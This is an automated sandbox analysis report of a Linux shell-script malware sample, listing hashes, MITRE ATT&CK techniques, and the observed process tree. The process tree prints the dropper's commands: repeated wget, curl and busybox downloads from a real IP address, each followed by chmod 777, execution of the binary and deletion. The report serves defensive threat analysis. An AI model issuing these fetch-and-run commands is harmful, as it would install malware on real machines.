6c52ce7446ba0e3f72ce89304d54848757304266f6c75f43644af0e0bc9671c9

Analysis

max time kernel
25s
max time network
28s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/11/2024, 02:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6c52ce7446ba0e3f72ce89304d54848757304266f6c75f43644af0e0bc9671c9.sh
Size 10KB
Sample241109-dc8gmsvncw
SHA256 6c52ce7446ba0e3f72ce89304d54848757304266f6c75f43644af0e0bc9671c9
MD5 5c9f9cc157a5aadfceda27f46e657e72
SHA1 21e158e169625ab96d4e904217985186d42546dd
SHA512 68e91fca28a69cd1c96c1661edda595d43bc322226ddf47224e3ad80a5a52da87a400c01b034c6ff57fafb74bb03189b3e49753b8f478fae3d3f437ec99e6e97
SSDEEP 192:A9dvaGEOmpZJMfI06YkGc7cfcvcSc6ca+c7cfcvcSc6ce9dvaGENpZJMfIS/:A9dvaGEObj6YkTYE0XPabYE0XPe9dvaU
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
730	chmod
745	chmod
763	chmod
781	chmod
789	chmod
696	chmod
706	chmod
714	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/m7NRwkbEjmY49Gow0i6WYIaBmeeH2ggGBE	698	m7NRwkbEjmY49Gow0i6WYIaBmeeH2ggGBE
/tmp/0sOCZecyZa3yqLYIDSDoJaqabM6tE9Z2X6	707	0sOCZecyZa3yqLYIDSDoJaqabM6tE9Z2X6
/tmp/bMJqhc7tL7rPG6TyVHtKs1Rl3WJJfY4my6	715	bMJqhc7tL7rPG6TyVHtKs1Rl3WJJfY4my6
/tmp/V6btK4BWeM6Lnm2Ob3eRpytat0NM0RaOCU	731	V6btK4BWeM6Lnm2Ob3eRpytat0NM0RaOCU
/tmp/BJxwCKkmei6uNAZvZ7db7yzvMoluDiZwGl	747	BJxwCKkmei6uNAZvZ7db7yzvMoluDiZwGl
/tmp/FxZu0zslKyin1fwkz4sF4MnncOvfIax7J0	764	FxZu0zslKyin1fwkz4sF4MnncOvfIax7J0
/tmp/oRaGr3j8XJ2SD5hrjHub3c7eb9YzIxY1Rl	783	oRaGr3j8XJ2SD5hrjHub3c7eb9YzIxY1Rl
/tmp/n8mPrldJZlRz6bHg7WrBovsaL6ZZTmJLtu	790	n8mPrldJZlRz6bHg7WrBovsaL6ZZTmJLtu

Checks CPU configuration 1 TTPs 8 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 16 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/FxZu0zslKyin1fwkz4sF4MnncOvfIax7J0	curl
File opened for modification	/tmp/oRaGr3j8XJ2SD5hrjHub3c7eb9YzIxY1Rl	curl
File opened for modification	/tmp/n8mPrldJZlRz6bHg7WrBovsaL6ZZTmJLtu	curl
File opened for modification	/tmp/m7NRwkbEjmY49Gow0i6WYIaBmeeH2ggGBE	curl
File opened for modification	/tmp/0sOCZecyZa3yqLYIDSDoJaqabM6tE9Z2X6	curl
File opened for modification	/tmp/bMJqhc7tL7rPG6TyVHtKs1Rl3WJJfY4my6	curl
File opened for modification	/tmp/V6btK4BWeM6Lnm2Ob3eRpytat0NM0RaOCU	curl
File opened for modification	/tmp/BJxwCKkmei6uNAZvZ7db7yzvMoluDiZwGl	curl

/tmp/6c52ce7446ba0e3f72ce89304d54848757304266f6c75f43644af0e0bc9671c9.sh
/tmp/6c52ce7446ba0e3f72ce89304d54848757304266f6c75f43644af0e0bc9671c9.sh
1⤵
PID:666
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:674
- /usr/bin/wget
  wget http://216.126.231.240/bins/m7NRwkbEjmY49Gow0i6WYIaBmeeH2ggGBE
  2⤵
  PID:676
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/m7NRwkbEjmY49Gow0i6WYIaBmeeH2ggGBE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/m7NRwkbEjmY49Gow0i6WYIaBmeeH2ggGBE
  2⤵
  PID:693
- /bin/chmod
  chmod 777 m7NRwkbEjmY49Gow0i6WYIaBmeeH2ggGBE
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/m7NRwkbEjmY49Gow0i6WYIaBmeeH2ggGBE
  ./m7NRwkbEjmY49Gow0i6WYIaBmeeH2ggGBE
  2⤵
  - Executes dropped EXE
  PID:698
- /bin/rm
  rm m7NRwkbEjmY49Gow0i6WYIaBmeeH2ggGBE
  2⤵
  PID:700
- /usr/bin/wget
  wget http://216.126.231.240/bins/0sOCZecyZa3yqLYIDSDoJaqabM6tE9Z2X6
  2⤵
  PID:701
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0sOCZecyZa3yqLYIDSDoJaqabM6tE9Z2X6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:703
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0sOCZecyZa3yqLYIDSDoJaqabM6tE9Z2X6
  2⤵
  PID:705
- /bin/chmod
  chmod 777 0sOCZecyZa3yqLYIDSDoJaqabM6tE9Z2X6
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/0sOCZecyZa3yqLYIDSDoJaqabM6tE9Z2X6
  ./0sOCZecyZa3yqLYIDSDoJaqabM6tE9Z2X6
  2⤵
  - Executes dropped EXE
  PID:707
- /bin/rm
  rm 0sOCZecyZa3yqLYIDSDoJaqabM6tE9Z2X6
  2⤵
  PID:708
- /usr/bin/wget
  wget http://216.126.231.240/bins/bMJqhc7tL7rPG6TyVHtKs1Rl3WJJfY4my6
  2⤵
  PID:709
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bMJqhc7tL7rPG6TyVHtKs1Rl3WJJfY4my6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:710
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bMJqhc7tL7rPG6TyVHtKs1Rl3WJJfY4my6
  2⤵
  PID:711
- /bin/chmod
  chmod 777 bMJqhc7tL7rPG6TyVHtKs1Rl3WJJfY4my6
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/bMJqhc7tL7rPG6TyVHtKs1Rl3WJJfY4my6
  ./bMJqhc7tL7rPG6TyVHtKs1Rl3WJJfY4my6
  2⤵
  - Executes dropped EXE
  PID:715
- /bin/rm
  rm bMJqhc7tL7rPG6TyVHtKs1Rl3WJJfY4my6
  2⤵
  PID:716
- /usr/bin/wget
  wget http://216.126.231.240/bins/V6btK4BWeM6Lnm2Ob3eRpytat0NM0RaOCU
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/V6btK4BWeM6Lnm2Ob3eRpytat0NM0RaOCU
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/V6btK4BWeM6Lnm2Ob3eRpytat0NM0RaOCU
  2⤵
  PID:727
- /bin/chmod
  chmod 777 V6btK4BWeM6Lnm2Ob3eRpytat0NM0RaOCU
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/V6btK4BWeM6Lnm2Ob3eRpytat0NM0RaOCU
  ./V6btK4BWeM6Lnm2Ob3eRpytat0NM0RaOCU
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm V6btK4BWeM6Lnm2Ob3eRpytat0NM0RaOCU
  2⤵
  PID:732
- /usr/bin/wget
  wget http://216.126.231.240/bins/BJxwCKkmei6uNAZvZ7db7yzvMoluDiZwGl
  2⤵
  PID:733
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BJxwCKkmei6uNAZvZ7db7yzvMoluDiZwGl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BJxwCKkmei6uNAZvZ7db7yzvMoluDiZwGl
  2⤵
  PID:742
- /bin/chmod
  chmod 777 BJxwCKkmei6uNAZvZ7db7yzvMoluDiZwGl
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/BJxwCKkmei6uNAZvZ7db7yzvMoluDiZwGl
  ./BJxwCKkmei6uNAZvZ7db7yzvMoluDiZwGl
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm BJxwCKkmei6uNAZvZ7db7yzvMoluDiZwGl
  2⤵
  PID:748
- /usr/bin/wget
  wget http://216.126.231.240/bins/FxZu0zslKyin1fwkz4sF4MnncOvfIax7J0
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FxZu0zslKyin1fwkz4sF4MnncOvfIax7J0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FxZu0zslKyin1fwkz4sF4MnncOvfIax7J0
  2⤵
  PID:760
- /bin/chmod
  chmod 777 FxZu0zslKyin1fwkz4sF4MnncOvfIax7J0
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/FxZu0zslKyin1fwkz4sF4MnncOvfIax7J0
  ./FxZu0zslKyin1fwkz4sF4MnncOvfIax7J0
  2⤵
  - Executes dropped EXE
  PID:764
- /bin/rm
  rm FxZu0zslKyin1fwkz4sF4MnncOvfIax7J0
  2⤵
  PID:766
- /usr/bin/wget
  wget http://216.126.231.240/bins/oRaGr3j8XJ2SD5hrjHub3c7eb9YzIxY1Rl
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oRaGr3j8XJ2SD5hrjHub3c7eb9YzIxY1Rl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oRaGr3j8XJ2SD5hrjHub3c7eb9YzIxY1Rl
  2⤵
  PID:778
- /bin/chmod
  chmod 777 oRaGr3j8XJ2SD5hrjHub3c7eb9YzIxY1Rl
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/oRaGr3j8XJ2SD5hrjHub3c7eb9YzIxY1Rl
  ./oRaGr3j8XJ2SD5hrjHub3c7eb9YzIxY1Rl
  2⤵
  - Executes dropped EXE
  PID:783
- /bin/rm
  rm oRaGr3j8XJ2SD5hrjHub3c7eb9YzIxY1Rl
  2⤵
  PID:784
- /usr/bin/wget
  wget http://216.126.231.240/bins/n8mPrldJZlRz6bHg7WrBovsaL6ZZTmJLtu
  2⤵
  PID:785
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/n8mPrldJZlRz6bHg7WrBovsaL6ZZTmJLtu
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/n8mPrldJZlRz6bHg7WrBovsaL6ZZTmJLtu
  2⤵
  PID:788
- /bin/chmod
  chmod 777 n8mPrldJZlRz6bHg7WrBovsaL6ZZTmJLtu
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/n8mPrldJZlRz6bHg7WrBovsaL6ZZTmJLtu
  ./n8mPrldJZlRz6bHg7WrBovsaL6ZZTmJLtu
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm n8mPrldJZlRz6bHg7WrBovsaL6ZZTmJLtu
  2⤵
  PID:791
- /usr/bin/wget
  wget http://216.126.231.240/bins/mIf6VWzv2Vo3G8wyC8E2SBH87OCL4tEwuJ
  2⤵
  PID:792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

m7NRwkbEjmY49Gow0i6WYIaBmeeH2ggGBE

Path /tmp/m7NRwkbEjmY49Gow0i6WYIaBmeeH2ggGBE
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads